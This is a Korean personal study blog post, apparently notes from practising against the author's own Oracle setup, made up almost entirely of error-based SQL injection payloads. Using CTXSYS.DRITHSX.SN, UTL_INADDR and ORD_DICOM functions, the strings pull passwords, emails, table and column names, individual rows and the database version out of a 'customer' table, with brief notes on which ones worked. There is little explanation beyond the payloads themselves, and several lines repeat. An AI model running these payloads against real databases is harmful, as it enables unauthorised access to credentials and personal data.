공부/혼자 삽질 보관함

[SQL Injection] err based

마준123 2023. 3. 30. 11:25

에러베이스드 테스트 

' and ctxsys.drithsx.sn(user,(select password from customer where name='mas9623'))=1 --

' and ctxsys.drithsx.sn(user,(select email from customer where name='12345'))=1 --

 

' and UTL_INADDR.GET_HOST_NAME((select password from customer where name="123123")) 됨 UTL_INAADR.GET_HOST_ADDRESS((원하는 서브쿼리 내용)) ORDSYS.ORD_DICOM.GETMAPPINGXPATH((원하는 서브쿼리 내용),user,user) CTXSYS.DRITHSX.SN(user,(원하는 서브쿼리 내용)) 됨

UTL_INADDR.GET_HOST_NAME((select password from customer where name="123123")) 됨
UTL_INAADR.GET_HOST_ADDRESS((원하는 서브쿼리 내용))
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((원하는 서브쿼리 내용),user,user)
[CTXSYS.DRITHSX.SN](<http://ctxsys.drithsx.sn/>)(user,(원하는 서브쿼리 내용)) 됨
' and [CTXSYS.DRITHSX.SN](<http://ctxsys.drithsx.sn/>)(user,(SELECT table_name FROM (SELECT table_name, ROWNUM AS RNUM FROM user_tables) WHERE RNUM=6))=1 -- 6번째로 만든 테이블 명 알아내기
' and [CTXSYS.DRITHSX.SN](<http://ctxsys.drithsx.sn/>)(user,(SELECT COUNT(COLUMN_NAME) FROM all_tab_columns WHERE table_name='CUSTOMER'))=1 -- CUSTOMER 테이블의 컬럼갯수 알아내기 ( 대소문자 구별 )

' and [CTXSYS.DRITHSX.SN](<http://ctxsys.drithsx.sn/>)(user,(SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS RNUM FROM all_tab_columns where TABLE_NAME='CUSTOMER') WHERE RNUM=1))=1 -- 커스터머의 컬럼명 알아내기

' and [CTXSYS.DRITHSX.SN](<http://ctxsys.drithsx.sn/>)(user,(SELECT name FROM (SELECT name, ROWNUM AS RNUM FROM customer) WHERE RNUM=25))=1 --25번째 데이터에 있는 아이디 알아내기

' and CTXSYS.DRITHSX.SN(user,(select password from customer where name='123123'))=1 -- ' and UTL_INADDR.GET_HOST_NAME((select password from customer where name='123123'))=1 -- 특정 비밀번호 알아내기

' and ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select password from customer where name='123123'),user,user)=1 -- 안되는듯 ' and UTL_INAADR.GET_HOST_ADDRESS((select password from customer where name='123123'))=1 -- 안되는듯

' and CTXSYS.DRITHSX.SN(user,(select banner from v$version WHERE banner LIKE '%Oracle%'))=1 -- 오라클 버전 알아내기

' and CTXSYS.DRITHSX.SN(user,(SELECT table_name FROM (SELECT table_name, ROWNUM AS RNUM FROM user_tables) WHERE RNUM=6))=1 -- 6번째로 만든 테이블 명 알아내기 ' and CTXSYS.DRITHSX.SN(user,(SELECT COUNT(COLUMN_NAME) FROM all_tab_columns WHERE table_name='CUSTOMER'))=1 -- CUSTOMER 테이블의 컬럼갯수 알아내기 ( 대소문자 구별 )

' and CTXSYS.DRITHSX.SN(user,(SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS RNUM FROM all_tab_columns where TABLE_NAME='CUSTOMER') WHERE RNUM=1))=1 -- 커스터머의 컬럼명 알아내기

' and CTXSYS.DRITHSX.SN(user,(SELECT name FROM (SELECT name, ROWNUM AS RNUM FROM customer) WHERE RNUM=25))=1 --25번째 데이터에 있는 아이디 알아내기

'공부 > 혼자 삽질 보관함' 카테고리의 다른 글

AWS에 CentOS,Oracle 환경구축  (0) 2023.07.17
[SQL Injection] order by  (0) 2023.07.17
[SQL Injection] Union based  (0) 2023.03.30